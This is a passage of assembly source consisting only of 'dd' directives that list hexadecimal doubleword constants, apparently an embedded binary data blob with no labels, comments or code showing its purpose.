		dd 966BE700h, 8B6544BEh, 0AC180026h, 14C86D27h,	13001C71h
		dd 5EBF75C9h, 8A3336h, 4469C06Eh, 381198A1h, 0A345B900h
		dd 7A78347Eh, 5B090F0Fh, 0B020EA25h, 0F5E3BB41h, 43E45103h
		dd 0E9761E29h, 88E423F9h, 0C1DE00AFh, 158D1037h, 0F1072DB1h
		dd 71673139h, 9D850290h, 0EF050791h, 0A0C7154Ch, 28794BFCh
		dd 90B30800h, 9217A4DDh, 0E9B403BAh, 0D6FAA777h, 6FF607E0h
		dd 0AB5FC700h, 5E4B42CEh, 0B3710306h, 98C86B7Ah, 8E8D60D7h
		dd 0B400F227h, 0CD59862Bh, 0D7DE47h, 933E2462h,	4918B2DFh
		dd 0FBEE6CF2h, 0C5F63500h, 2F258AD4h, 845201CEh, 0A7A4B855h
		dd 350DE02Eh, 0E3004B7Eh, 0E9F2BE76h, 493D6FCh,	0ED85BDE0h
		dd 54E9C039h, 0D20F7F5Dh, 0C7DB1D5Eh, 0A62035FAh, 282ADFh
		dd 78BE930Eh, 0C1983CC8h, 0BD4CB800h, 0A39A46A4h, 0D8FD3FA5h
		dd 8ACB7400h, 3EF68258h, 0FA760509h, 6E50179h, 7E6138CEh
		dd 0E058D0h, 52395A77h,	0F9BA78DCh, 0F1607D00h,	0BB0BC014h
		dd 0C1C20315h, 3AFEE040h, 5E5BA5C8h, 9F94D500h,	0DC6342EFh
		dd 0BAAF005Ch, 20D2114Eh, 0EA00B9DEh, 28F80D55h, 7E32C37h
		dd 0D7A852B3h, 4ED440C9h, 1F00C4BEh, 61C5D80Ah,	7CD351h
		dd 0AC592B91h, 9E7731CAh, 2E12A1Ch, 0F39CC843h,	297B5Fh
		dd 0EA19070Dh, 5D450AB4h, 0FC7AC400h, 6F1E7C16h, 0B8C528F3h
		dd 3F1A3CF7h, 0CF3C6600h, 0C1A85F49h, 3AD2DE00h, 0C8FF70F3h
		dd 587B011Bh, 5AB164A3h, 0E8E5E47Ah, 87C4BB00h,	0E13ACB4h
		dd 0B3DD009Dh, 39813EAEh, 3003DBDh, 0C6D952B9h,	2C409387h
		dd 82FEA1h, 0CFBC4772h,	9F003312h, 8C447D1Bh, 0E97304Fh
		dd 314EBFAAh, 675DE440h, 777E490Dh, 0C103D700h,	577DAD16h
		dd 50430040h, 15972CD0h, 3700937Fh, 0C0DE7EB3h,	20566Ah
		dd 0F0A96F48h, 0D7212625h, 2E530900h, 8A1858E1h, 2CC2F64Ah
		dd 39850ACh, 0A76A9F29h, 7563508Fh, 0B100D974h,	0E1328D36h
		dd 0B7807Eh, 0A30A247Dh, 46ECDFE5h, 7F73453Bh, 86A16B00h
		dd 271DFCF8h, 122F03E0h, 0F5D7E459h, 2E20B898h,	1900BBF0h
		dd 88F1C1F3h, 0E073579h, 8953C478h, 66822A40h, 0D00E0EEh
		dd 0FD84899h, 3C16D34h,	286BA514h, 24B04C07h, 0D30088A3h
		dd 0A74B7C01h, 3AA1C836h, 7D80AE9Fh, 15177689h,	0AC00E0AFh
		dd 0A437EA5Fh, 2B57B6Bh, 243451B8h, 80DD8D4Eh, 5F2DEB98h
		dd 41FE0058h, 68C3FC8h,	7E1CFBA3h, 970EA77Dh, 0FF7B40F2h
		dd 39F5BC0Ah, 7F000705h, 0FC441EEFh, 0E5008A86h, 2F76D552h
		dd 1B96599h, 0D358D20Bh, 0D853F9F7h, 80006DC4h,	48978357h
		dd 0F2DE3D77h, 29266065h, 3442C10Bh, 9FCE9003h,	0AA207163h
		dd 24AFC045h, 0E0C8E066h, 0D7D50043h, 0C2A25A59h, 57022D7Bh
		dd 6C0DC910h, 328E60E8h, 7524982Eh, 1FCE003Dh, 50EDB236h
		dd 2178F1C2h, 1A7110Fh,	735B603Ah, 0AECFD3h, 0F27F08D6h
		dd 5760ABEAh, 0A9C57900h, 3CD1D05Fh, 21CD00BCh,	14442FB4h
		dd 0BA768F3Dh, 45608A7Fh, 0BE29DD10h, 0BFCCC0F3h, 5DEB899Dh
		dd 9F37620Ch, 790B844h,	0FCCB43E5h, 886CF09Eh, 50036E3h
		dd 0A4A9F13Ah, 734EEE4h, 2541AD9Ah, 2EF4909Bh, 0A003398h
		dd 0CA36E0A2h, 50891Fh,	257F0CB4h, 0FE0B036Ch, 17E40202h
		dd 0C0C7BDD5h, 1F95AA9h, 0F007AF08h, 0D485CE2Ch, 0D400F506h
		dd 0D7DB7D91h, 0C59526Dh, 4A5E474Eh, 0DE00BFC0h, 0EE1EF595h
		dd 1B6A9F0h, 0D079BD3Bh, 30EA20C0h, 7200C12Fh, 96DE4094h
		dd 778555h, 0B8AB87B3h,	85DEFF4h, 959DA05h, 0BC07E2C4h
		dd 6F101090h, 3E3F56D0h, 0DE50BEDCh, 0AAC50A83h, 8C4E9Eh
		dd 13C14592h, 9870F1A3h, 0B1883214h, 0E9F700F9h, 0F982D9ADh
		dd 631300F3h, 0FC7FEE47h, 9700D702h, 6CCB0BECh,	261A570Dh
		dd 68991Bh, 0DA69FFADh,	0C6488009h, 6A76026Ch, 0C06C4CD0h
		dd 0B41E50h, 39FFA57h, 0A0EBF9D2h, 10E41D28h, 46FE3614h
		dd 80763AE0h, 0AA2571FAh, 7C970ADh, 77B56728h, 0E86B00DCh
		dd 0AC00A6CDh, 0FCBC8C8Dh, 18FBD052h, 40A47CFFh, 567BA89Dh
		dd 0B6037D74h, 0A5FE0B2h, 0C1680077h, 0F23F867h, 6D007370h
		dd 63D4F7B1h, 7F3441h, 4B320356h, 0F87AE3C6h, 0B77FFBE2h
		dd 0B6C759C0h, 1ECE8291h, 0CA0501h, 7CF531B2h, 13039DF7h
		dd 5B6876A8h, 19F49062h, 0C751E56h, 0BBB3C0ECh,	7AB2F84Ch
		dd 0DE4BE0C2h, 0BDE48086h, 6FFEB434h, 801F385Bh, 37D57D69h
		dd 1C0F9361h, 906085F3h, 32173903h, 0A00040BCh,	0FE16ABE9h
		dd 6DD26C78h, 1B60696Eh, 0EAB60004h, 0F7393242h, 4BF3010Eh
		dd 0DC9C0360h, 0B20806Fh, 0EA71E97Fh, 0B7260CBFh, 0BE08BD37h
		dd 2B206367h, 0EC72E920h, 64D6001Ch, 9AA736EAh,	0E6074668h
		dd 0AE0C3709h, 0CB2FEC70h, 49071564h, 0B200EC55h, 74E9CF9Fh
		dd 53711697h, 0FBF7C102h, 8CEA9EC8h, 5132982h, 0AA218AC0h
		dd 1D4A81D5h, 398C4377h, 0C2082100h, 0D9AC391h,	839B0719h
		dd 0B0281D6Dh, 0A14A63CDh, 6042A401h, 49298961h, 8ABF2C50h
		dd 0CDAB1048h, 0BB56C86Ch, 4C906F00h, 85B01C9Ch, 41A1CF19h
		dd 5048E049h, 0D78A04C6h, 319658DBh, 3E007B0Ah,	0D7591C8h
		dd 0D28CE900h, 0C6BF4868h, 0F4665006h, 0C75F2A57h, 849801B8h
		dd 3E99B42Ah, 3618596h,	0ECD7492Dh, 0A27BC683h,	0A4090ECh
		dd 0AA2B0890h, 5A586B05h, 0DC9000EEh, 649E9CBAh, 0F7D8D6Ch
		dd 0A81AD500h, 0FC7718C3h, 28E001Fh, 0CC3D467Ch, 0B21EE278h
		dd 782423EFh, 1E519683h, 50D0E8A7h, 86A1DC9h, 408E1657h
		dd 29F9B35Ch, 272E0980h, 390C72D1h, 18579276h, 0E1779A6Ch
		dd 89AC5F5h, 4665F0F5h,	0D7F2B400h, 2BB52A6Bh, 190F0E96h
		dd 9EC32CC9h, 80404779h, 0A14818BCh, 0E82EC04Ch, 8C34FCB8h
		dd 0B5EBAB00h, 0D9F39A7Ah, 0E84204B8h, 90587778h, 633E849Ch
		dd 467DFE04h, 9485A7FCh, 68F4BC27h, 0C684DA01h,	0A4B04C48h
		dd 0DBD59004h, 653370A8h, 0F8642103h, 8B13428Ah, 0E032C251h
		dd 14B2D86Eh, 0A041F5F9h, 0BBE4819Ch, 0C558068h, 4225888Ch
		dd 59A7E400h, 8419C582h, 954532ABh, 586903A8h, 58B1B21Ah
		dd 96402099h, 4B26AEBCh, 66003EFEh, 21F27CCh, 0E01890B6h
		dd 192800B8h, 8B65A8E7h, 0D93C84E8h, 30B5A612h,	0EC057481h
		dd 9CC402D5h, 62F300EAh, 6E0D738Bh, 0AD008FFAh,	7D2BA13h
		dd 317112E3h, 0F9912E4Bh, 3BC2EC33h, 88FBE600h,	0EF2DB610h
		dd 0FF22046Dh, 0D242A1E4h, 77E005E8h, 2BFC89BAh, 25D7D007h
		dd 6892A6Ah, 15883D5Ch,	0F0D26B57h, 43CC4B0Fh, 55500F63h
		dd 20489EE2h, 0D709FDD4h, 41B793h, 1D1BC0A1h, 98F4E822h
		dd 0A824A360h, 75CAB8h,	87CE6967h, 456C3D4Dh, 0B939FC30h
		dd 0F2289E9h, 0C4C91A9Dh, 916927A0h, 0A512A466h, 5040BF49h
		dd 200956A6h, 0EE58009Eh, 0E905DE15h, 0F00125D1h, 6477460Ah
		dd 89FD7FA7h, 61E25832h, 9F8D30h, 0D733FECEh, 3702091Eh
		dd 71A60F00h, 1795E424h, 0A3E326E7h, 59302138h,	7051856h
		dd 36C00D2Bh, 0EC0049FBh
		dd 0F4F73229h, 6A08F499h, 0E938609Fh, 2421FCBAh, 1F1C6025h
		dd 0FAE858DDh, 3B7C5300h, 0FDED46EEh, 6AD001B0h, 9E0D415Ah
		dd 0CFF8507Bh, 951EE5E1h, 6980CD0Eh, 0E29B14A1h, 0FB8C3D3Ch
		dd 0D1D21E00h, 38500702h, 0DA853A00h, 483C77E4h, 47F8CAh
		dd 0A8DE3F52h, 6C33C63Bh, 198C059h, 7B800671h, 0C988128Fh
		dd 0D5609CF9h, 0FCBFD9h, 0A09ED3CCh, 3CA178FAh,	62C82000h
		dd 5D95E94Bh, 9F190774h, 0C08C7BD4h, 0A9F785C0h, 0DFC9700h
		dd 0E68251A8h, 7BEC002Dh, 7971331Fh, 5402258Ch,	0DD6CC3A7h
		dd 0ECB78102h, 589D295Ah, 0A586CE79h, 88D9B500h, 18C32757h
		dd 0EBA6B8D3h, 1E10F64Ah, 45C51299h, 39D4056Ah,	348CFC50h
		dd 0FB308400h, 1AA6777Fh, 0BBA053Bh, 0BE0798BEh, 7379BC1Bh
		dd 13E8C0h, 0D133936Fh,	0E87B0D2h, 0E5003DECh, 53E48EAAh
		dd 7328C9Eh, 92E644F1h,	55C880E9h, 0C700731Fh, 864C56DAh
		dd 7BAC947h, 0B415CC5Ah, 105CC076h, 3BFA8D40h, 0B558C805h
		dd 8800F79Fh, 3213AA2Ch, 3F8303A6h, 4173A05Bh, 80EE0DA1h
		dd 0CE8EF220h, 2CAD7FC5h, 0EF14D0h, 3100749h, 9F009CDBh
		dd 13D7F40Ch, 6FC305CDh, 0A1E58892h, 29B8433Fh,	0E03F761Ch
		dd 0E1388562h, 0A44703E7h, 0ADC20A79h, 0AB48A0B6h, 10A63F13h
		dd 884A85BBh, 83DF802Bh, 50F7A5CCh, 1D233A02h, 81DDD280h
		dd 78DE5DD0h, 725CF5C4h, 6D1C1462h, 6A00F432h, 0FF3AE44Ch
		dd 873A709Fh, 0A938003Eh, 55CD3161h, 0B891604Fh, 0E8EA4560h
		dd 0C59EEB07h, 40C6766Fh, 0B06803C9h, 43BF6C1Ch, 6182BA80h
		dd 4F37FB74h, 0B2702070h, 0B0134007h, 481A01EFh, 0A7387BCBh
		dd 7720808Bh, 9C728A76h, 0C1490A87h, 91807120h,	0CE819EB3h
		dd 874BB12Bh, 0DC40CA0Ch, 101100F5h, 0D5CD6B7h,	0F61A470Bh
		dd 86D85D15h, 3049BAF9h, 7E08ED30h, 9D37235Eh, 2A56499Ch
		dd 34AE00D1h, 6194D629h, 0C33AFEA5h, 549F05BFh,	4808417h
		dd 18D6E2BAh, 0A040D3B4h, 2009A5Eh, 0C25B3D1Dh,	24D0E8h
		dd 0A08B581h, 656A9654h, 0DD6D1700h, 1EBF8FDBh,	583901EBh
		dd 0CB7402D7h, 0EEC5C8B7h, 0EF00B37Fh, 69D3D9Ch, 1BD7FCBCh
		dd 0C820F777h, 5447FDE0h, 3D4C8601h, 0ADA6C3FBh, 0FCA2D9ECh
		dd 50BD015Bh, 6EAFF716h, 0F4D0587Ah, 0D0600704h, 452CFAEDh
		dd 3A06D600h, 0C05D965Bh, 0FFA24C1h, 3F94A04Ch,	0E2012448h
		dd 0A1926FC4h, 1D202356h, 0D540A341h, 0B6E6F4F3h, 0D3B5017Dh
		dd 306FEEC0h, 824034C7h, 12448507h, 34B0E9BAh, 0E83FA050h
		dd 5D21C0E4h, 0DC7427Eh, 0A84C1400h, 41A24D0Ah,	31290095h
		dd 0B4E9C063h, 4491AAD9h, 0AA607C44h, 0D0107E1Ch, 73B08DBDh
		dd 6F1C07ACh, 0B4819388h, 225164EFh, 4C04C440h,	81D302Ah
		dd 0C95468F9h, 248C3C48h, 1BE540Ah, 4DFC07C6h, 10935E9Ah
		dd 2D1860D7h, 0B1103D06h, 10DF3AABh, 0A5C900DCh, 0A78E7013h
		dd 2417311Ah, 31A46A78h, 56D08260h, 4232660Ch, 0E2AC00B8h
		dd 0F8B4C608h, 99EF6B0h, 0A4EE19D9h, 88C7BC90h,	966B0486h
		dd 0C42D6AB6h, 27BC88B8h, 60B940h, 5ADC95DEh, 1759AABBh
		dd 0BA24892h, 8650EC02h, 58EA498h, 93BF1204h, 7521B5E5h
		dd 0E0370065h, 0FCD6011Ch, 0CE48E1C1h, 0C89FE412h, 73D81115h
		dd 0B2B61F88h, 0BA0460C0h, 206761h, 6B5CFEADh, 34A2E764h
		dd 0D0B41834h, 0D72F3480h, 0E3DA12C6h, 5E3C20B8h, 882C8A7Dh
		dd 0E740645Dh, 2528C6h,	0E4025B01h, 8AA47DEDh, 0F1F830FDh
		dd 78FB400h, 0D00B1777h, 32AA05DCh, 0D4C901h, 0D8CF82B0h
		dd 16790AE8h, 2C55D109h, 482C00D7h, 0DCEE4C66h,	0C7770058h
		dd 0B067812Bh, 2144D898h, 89D36730h, 8E59E083h,	0C7001B7Fh
		dd 0DA0CFF90h, 0CEA855h, 459AD988h, 0A79D8323h,	0D308E400h
		dd 0E591A141h, 671F0035h, 0C07F4718h, 390343EBh, 234D4BAFh
		dd 0C3508195h, 12DB1824h, 2647C5Dh, 8FBF88F0h, 57A88C80h
		dd 7600F4FFh, 0BE7F052Ah, 3E4BD002h, 0B48026D7h, 0CAFE62E3h
		dd 0EB30DD84h, 80AF8EFh, 0BE60C04Ah, 49AD6B8Ch,	4085D601h
		dd 75E5C061h, 2515B03Bh, 0A7E18E0Eh, 86DA2009h,	6515274h
		dd 36B23A98h, 355718A4h, 0BCF804h, 0D89E70C9h, 0B8B90AF8h
		dd 7F88F4A0h, 0C5F9A403h, 0C1ACB94h, 3D459130h,	9DF008D0h
		dd 3607B3E8h, 3EB5CB1Eh, 0E83F9C8h, 32672683h, 0B6296000h
		dd 0B2A378Eh, 784C7B02h, 0BFE505C3h, 421989D9h,	3874830Ch
		dd 13278B22h, 1882B8CAh, 2710306Bh, 0FA0CA08Fh,	2B218424h
		dd 0D1913D04h, 308F2A99h, 0CC58A28h, 0EC48D354h, 0CB718A9h
		dd 0AF7C22CBh, 970C6354h, 0BB18CE50h, 962A7642h, 245F570Ch
		dd 21C2D1C4h, 4841B9B3h, 18427DE0h, 0E70CA597h,	651B1848h
		dd 70C488Ch, 9C306765h,	88E1248Bh, 30842252h, 5B90776Fh
		dd 3910C3B9h, 0CA63042Ch, 1804BEA0h, 7F75147h, 891204h
		dd 2277FB7Dh, 22ED0Eh, 1F886700h, 0D60CA74Fh, 0F42E3700h
		dd 6B2F9FCBh, 0D07005Fh, 0A34E30A1h, 0B016C08h,	0DE718A70h
		dd 2424120Eh, 464A0C5Ah, 0C5A02633h, 98A888EAh,	763056B6h
		dd 0B8671886h, 82370005h, 99C0B0FCh, 0DB817C6h,	0A10FC431h
		dd 0DA257376h, 3E177048h, 581F3B8h, 586A4A0Dh, 3CA88FB2h
		dd 0A096EEEEh, 0A4274B3Eh, 3444141Ch, 0E1AC1C83h, 0B79F0E02h
		dd 447A975Ch, 6C690068h, 0A637B49h, 20304B51h, 0A8655039h
		dd 0C34303C8h, 0BD57B816h, 91105805h, 0A4421B90h, 0C08B7183h
		dd 6A12368h, 3BC507D0h,	9078D89Eh, 782048FCh, 7BEF1732h
		dd 452402A5h, 1480C974h, 42F6F066h, 0B7DFC514h,	808B3834h
		dd 0A14F9238h, 4D958F0h, 9886C2CFh, 0D8DC802Eh,	9B0325EAh
		dd 290A3506h, 779F9021h, 47F7005Ah, 29CFCC8h, 1318D20Eh
		dd 0FFB98373h, 4B7C801Ah, 98BB3C37h, 0B8E7A3F3h, 2833603h
		dd 923A7BB3h, 0C880DC0Ch, 919D576Fh, 0C8871A02h, 403B070Eh
		dd 635B8B00h, 2A67D178h, 81F68010h, 0CB799EE1h,	0E41CAEC9h
		dd 840E05D6h, 8103E19Ah, 0B655E5B0h, 0A7411E8h,	9D105A0Fh
		dd 0E81D81C0h, 8A991849h, 0A56F5D10h, 711B3501h, 0A085CA5Ch
		dd 81849A39h, 0F187BE75h, 0DF1980E8h, 0D6205A3Bh, 0C39330CFh
		dd 37A971F9h, 0D0DFC0C7h, 8F7C3h, 0C9CC5918h, 26C76EC2h
		dd 0B99B900Ch, 0F9303036h, 0FEE845Ch, 5EA288D7h, 0E840A02Dh
		dd 2A036C89h, 0FE6AA61Ch, 7CA8DEE6h, 93A209D4h,	182F3120h
		dd 7C10C589h, 5849F9D9h, 79320094h, 0DCCCA1D2h,	929E0F5Fh
		dd 0F281743Eh, 5598E848h, 42108088h, 3F1D93C3h,	86CA626Dh
		dd 434F84E0h, 0F8DB31F0h, 1A579E8h, 5AFD1666h, 0D89E4F3Ch
		dd 3D00A4F4h, 70D0A0EEh, 1DCBA98h, 8A78279Dh, 40C83B59h
		dd 0C9964B80h, 0BB5EB912h, 70141027h, 0FA07E180h, 0A3FA4Eh
		dd 0DFA53871h, 86741F9Dh, 2008A1C9h, 34E0C298h,	8774CDDh
		dd 0A4D1E18Ch, 5B2C1509h, 2F09F4h, 0F2EA9934h, 2A649098h
		dd 194DDBCh, 93C9E359h,	8CB76C5Bh, 70A760E8h, 8A690F27h
		dd 30757A9Bh, 115A3C0h,	0F48CF33Dh, 0C3D4A09Eh,	1C4F4C76h
		dd 0E96C0902h, 48402FD5h, 0CD308B3Ch, 2A7B307Fh, 10A300ACh
		dd 4C96D511h, 0D42493DFh, 670008C0h, 157FFB22h,	0A3FE077Ch
		dd 99922046h, 6B25DC18h, 0E4A46000h, 30C7D341h,	0B53909E3h
		dd 70A0D45Eh, 0C37AD562h, 25C551C0h, 74FB03E4h,	9012802h
		dd 0C49D26A0h, 39B64010h, 0E5798938h, 0DFE08254h, 80600A3Eh
		dd 6B54AD10h, 0A47E1Ah
		dd 2461B1FBh, 3BDDAFB5h, 48E03A4Ch, 76B2A08Ch, 36F9C71Ch
		dd 0E2200248h, 5CA55045h, 8A300216h, 48AE9E4Ch,	74ECA9A0h
		dd 1BE675F3h, 0CE5B5300h, 42991909h, 186972BBh,	0F0CB4971h
		dd 0DD1D20E3h, 4F8B7EB6h, 1D440078h, 59566486h,	0C0DC48BCh
		dd 90D7FBA8h, 0B6146D6Ah, 82EC260Bh, 0A9CABAFFh, 0E10E2E4h
		dd 1096E6A0h, 0B5760AB1h, 0B0C41C2Fh, 44D03DB8h, 1304A73Ch
		dd 40208C6Ch, 9FEA39Fh,	19A19061h, 0BB0874A1h, 67218150h
		dd 3172E0D5h, 153D060h,	3B71A2FBh, 24515BDFh, 63110820h
		dd 0D0081C46h, 38016FAEh, 0BDBF6006h, 7809A098h, 0E8832FDAh
		dd 51461EAh, 35C0CC8Dh,	1C80400Fh, 89EFF667h, 48C9CA02h
		dd 0C9015682h, 72C451B4h, 51B76F5Ch, 824D3907h,	89128F2h
		dd 8C8A047h, 5FE70F12h,	0D3D0F000h, 23083CBh, 0BF8BC825h
		dd 0C48A973h, 370029A4h, 0BB3EB953h, 74D9F1Bh, 852AEEBEh
		dd 0FE16278Ch, 0B06DDAA0h, 0F85173F4h, 1E2877C0h, 0DF86B1C0h
		dd 21986EBh, 0A5E2230Ah, 64E3E426h, 4340F3C1h, 0CBC81AE4h
		dd 6679AA4h, 6B319C40h,	0CC205B75h, 0CC2F17D3h,	0C12420BAh
		dd 0A103BE3Bh, 380E40Eh, 0E8ABA00Ch, 531909F4h,	2039A970h
		dd 3E822C7h, 6BB78D0h, 1CF8000Dh, 577EAB5Ch, 4F07CF50h
		dd 6E5FD0D6h, 4A46B080h, 82E5003Ch, 0B52D269Eh,	50075621h
		dd 0B737FA9Ch, 76A03AE0h, 0B1F30211h, 0CDB1D54h, 0D89B06C0h
		dd 95B28D0Dh, 0FBF01153h, 443D3CC6h, 6B6EF405h,	3F3020B6h
		dd 7D7F9C59h, 80E99F76h, 62C9191h, 7009DBA7h, 72E11E90h
		dd 7A9EC00Fh, 50F1AD46h, 309D0730h, 0BADB43h, 514DA21Ah
		dd 897A4AD4h, 5D3E280Fh, 1D6020F1h, 544E2D8h, 0D1B668B8h
		dd 0F536C026h, 10FD91Ch, 0EC7D995Ch, 1105104h, 0BAF2745h
		dd 60514B36h, 3AEA017Dh, 9E033E00h, 0EF54A113h,	0B138677Dh
		dd 5D667383h, 6B56C808h, 2619849Ah, 0A25280DBh,	4C02AD7h
		dd 0A01CDE94h, 0AB070021h, 426488B1h, 5518A76Ch, 9C380EC7h
		dd 0F86800EFh, 9BAB3758h, 0DB00E17Dh, 0A76389C2h, 7B21CFDh
		dd 2916DE13h, 23E55DFh,	5AB93944h, 0A1458C01h, 28B582FCh
		dd 70C4BD8h, 8806F2AEh,	0A628908Ch, 0D40E55CAh,	0C15F9A09h
		dd 8040AAC6h, 3B2A42F0h, 121878C0h, 4EF4619Bh, 0B669200h
		dd 0AE074F1Bh, 2AF4F327h, 7C8A0044h, 6C469042h,	0B501873Ch
		dd 0FAA14009h, 10943EF1h, 7BB04F0h, 891FBAAFh, 44F206C0h
		dd 8D3C0316h, 8763AC4Bh, 0DC20FBA9h, 0C073B127h, 0FF39106h
		dd 4229AF6Ch, 0E87F081Fh, 2264084Ch, 11C05E84h,	5F25D302h
		dd 42B24001h, 86057800h, 40708E80h, 51C04713h, 613BA22Fh
		dd 678C0079h, 3F77F143h, 9B00CFFEh, 68FC6933h, 0E65AEEh
		dd 0A1870FD1h, 0D8593E76h, 9102F2E4h, 0D54D67B2h, 0CE31608Ah
		dd 8B4A00BEh, 0A56172DFh, 9E002402h, 8439EFD9h,	7C0947h
		dd 20F83AFCh, 6C54EDA4h, 4C032370h, 0FFD44083h,	0B306F8CBh
		dd 0C3C200F1h, 0E22AEB17h, 7EE9EBDh, 0D8185500h, 0C2AF233Dh
		dd 0EAD60003h, 0AC904860h, 0FC009C9Dh, 0F879477Eh, 2996977h
		dd 0B4502713h, 0C480BAE5h, 0F418989Ah, 467730F0h, 0F6329000h
		dd 0B788204h, 6F5E0050h, 94342308h, 393DB347h, 8385BDB2h
		dd 2EFA4FDCh, 684800B4h, 7E654086h, 81032CB5h, 9FE3725Dh
		dd 34E0000Bh, 12D3E8AAh, 690051EEh, 9B663E7Bh, 2CD4C01Eh
		dd 8F9C38h, 5E7F4229h, 0B13B28C6h, 671480F4h, 0D90286E9h
		dd 1F00092h, 7EEA73DAh,	0DE180E45h, 6B8056C7h, 8882008Ah
		dd 0B78C9EFAh, 4300C99Bh, 0BA4E1505h, 7C048BDFh, 0F7133894h
		dd 1F8FE181h, 8C11F0D9h, 0DC0AD210h, 1AE00029h,	6E646DA1h
		dd 0E80184A7h, 1B51863Ah, 0AA40C8E1h, 75C4C0BFh, 3B8E1227h
		dd 0A9CF0087h, 13987DD1h, 6E141700h, 249630BAh,	90D2001Eh
		dd 0C6764CEh, 4A580305h, 88EB00FFh, 83FD10EEh, 22961643h
		dd 69730059h, 667AD217h, 25ED6707h, 2790F7A3h, 0F1EF345h
		dd 0A1E3E608h, 8D02AD00h, 2B008B15h, 493288C5h,	1F781F62h
		dd 83EC66C4h, 0BAE38953h, 7800AAFBh, 68E2DEA9h,	0EE7CCDh
		dd 7B0CED3Ah, 0B027070Bh, 86F21D00h, 3F5313E2h,	99183D45h
		dd 0FA696F00h, 4EA2AF3Eh, 7605E000h, 202E8480h,	0B4A43F95h
		dd 0B0216E80h, 7AF20351h, 0E5E73400h, 0FF5C93E6h, 14DE009Bh
		dd 5444B016h, 0C80339CCh, 0C6066045h, 181BD069h, 83FF0F7Bh
		dd 0E160AB20h, 0CD161ACAh, 32920B01h, 0B83F2E03h, 23D840E1h
		dd 28981F9Eh, 0C1851D76h, 0E2A76F60h, 19C080D7h, 31C04006h
		dd 0BCC40034h, 0B94627F1h, 0AC00A196h, 0A556421Dh, 75E92A0h
		dd 0D6FC33D5h, 691BF089h, 6F00B051h, 289AA2A8h,	0A6FD1Ah
		dd 0F18E58FFh, 0D7F3BA23h, 9550D400h, 2518EBC9h, 10BC4C88h
		dd 0E65EE700h, 3382A642h, 47D15001h, 0B767B02Fh, 417CC8DFh
		dd 7EDA005Bh, 7B3DB8D8h, 8F0074CAh, 380931B4h, 3A3F3EABh
		dd 0E4A51349h, 0A11759F8h, 0B8A0D303h, 0DABE3951h, 612008B0h
		dd 0CF00F69Eh, 1755DF07h, 39F5473Dh, 300D429h, 0A7641353h
		dd 0B73DF3FEh, 0DD9D81ADh, 8A3D4E2Ch, 369E9B40h, 0C2CC0019h
		dd 3CFCB26Fh, 4100E6CBh, 304FE14Ch, 7DC5FFh, 864DD226h
		dd 977B618Ch, 0A522DB1Dh, 415E1240h, 0A694FDh, 81BE8C1h
		dd 6A402DD7h, 9547D000h, 8A2C9DF1h, 37A400CFh, 78DA521Fh
		dd 593F1DD9h, 0BC4E803Ch, 162A982Bh, 0A4DF003Bh, 0EA27D14Dh
		dd 680FA3CBh, 804B90F2h, 0C9F67522h, 0E9850093h, 0C6F487F1h
		dd 0CE00173Eh, 6D45EB5Ch, 73410Ch, 0B48BD646h, 1371A7F6h
		dd 695E9300h, 49D9A0ACh, 744F0EE6h, 0BF809750h,	23EDCEC1h
		dd 3767A800h, 0EE20AFA6h, 3B8D003Fh, 0BA420596h, 4600EBB2h
		dd 64BBF5EAh, 12F70F99h, 0C22082h, 0AB51A13Eh, 0BBF2EDA3h
		dd 7C00C8F6h, 63CD15A8h, 46BECCh, 2D6579D7h, 0A9B0B73h
		dd 0AC77C800h, 0D43697C9h, 0A9F00143h, 67D66A45h, 0A899FCDAh
		dd 0D35A9212h, 7E559100h, 3A2E327Bh, 584801DEh,	93F54A04h
		dd 80094036h, 0E0DFD568h, 35120742h, 10C77A83h,	15AB4FEFh
		dd 0E8643D00h, 41712516h, 0F1D3037Fh, 0DE91A043h, 3DC8AD8Bh
		dd 82008C1Eh, 8A3C657Ch, 6BEEFBh, 0F72843D0h, 0DF56A86Eh
		dd 58384D00h, 0E8FD1B6Dh, 30870077h, 11C3A127h,	6A1F1981h
		dd 0C64026B8h, 8D7B6704h, 0CE1003B7h, 60C06D2Bh, 2EE20FE8h
		dd 80126B3Bh, 919E1FAFh, 0CBF93Dh, 0B2442667h, 2988F25h
		dd 2A60CD07h, 439099A0h, 7C57BFBh, 6B139CD2h, 0C7B18026h
		dd 0D70151ECh, 669B4E60h, 32FCA2AAh, 525B028h, 0E10388B6h
		dd 5D1F80DDh, 2F00966Ah, 406FBB9Eh, 0C4D65Fh, 4744D972h
		dd 0E7FA0370h, 123E5C07h, 7AB07188h, 0C4E63Ah, 8AFCC1C7h
		dd 450892BEh, 0F7185C00h, 0E20C369Fh, 0A2E4002Ah, 398E74CDh
		dd 0B71FAADEh, 0ED07E1A1h, 19D06EACh, 14377E35h, 0FB93FA36h
		dd 1B91FB00h, 618B1CAFh, 5A7B7200h, 1428BC1Fh, 0A8E2008Eh
		dd 46742E06h, 2A00D5BFh, 6681D639h, 1CFF88Fh, 0E2DCC64Ch
		dd 0CCBB26C5h, 94032012h, 0E080D211h, 48368071h, 836A4C58h
		dd 86D3C700h, 19E41A1Fh, 70C43900h, 932F2621h, 0B79E0F28h
		dd 4860D324h, 0E45599C9h, 9AB4D100h, 973A68F6h,	1D7FEEh
		dd 5B072206h, 2A2C81C1h, 4C994E00h, 0B9CCF1A5h,	0DDBF03F8h
		dd 0B41E1C43h, 49371680h, 870E407h, 319FAA9h, 40DF41h
		dd 61D87A6Eh, 0B21A4B12h
		dd 0B9E4713Dh, 46EE8C6Dh, 3DB76E9h, 371E02A9h, 2DF8AFDFh
		dd 9EE4870Ch, 36E85F1Eh, 0DE7291C0h, 60EDECDAh,	0AB026601h
		dd 1F007066h, 684FC955h, 0E4E43397h, 5F8E0760h,	0D17A9153h
		dd 0E95BCDF2h, 6FAE60C8h, 0F4B2A00h, 0D047FAEh,	9C210F7Eh
		dd 2240DED1h, 7036EE8h,	0EF602B60h, 1695430h, 26B53BE0h
		dd 0FC08C179h, 0D50027DDh, 0A8533274h, 0D7C902h, 0E1559D90h
		dd 8B03418Dh, 0C4F423FEh, 8EB830EAh, 3B9F1800h,	0CEB04295h
		dd 925B0157h, 5F61D701h, 446BC4C0h, 71EB0307h, 7C10ECF2h
		dd 1F2281F7h, 1402E0h, 6C920594h, 553A6B1Fh, 154B00C7h
		dd 5C7DE951h, 8D57003Ah, 0C6BF3456h, 473B95DDh,	4BF5802Bh
		dd 0AD9B3FEFh, 221B00B3h, 68F23A8Eh, 2AE431C2h,	168C2400h
		dd 74518AB2h, 1C761Bh, 28B14A6Ch, 6E05F2CAh, 5C03C900h
		dd 8FF4B78Ah, 85742Ah, 927C2B77h, 2FF61A50h, 0DD73EC00h
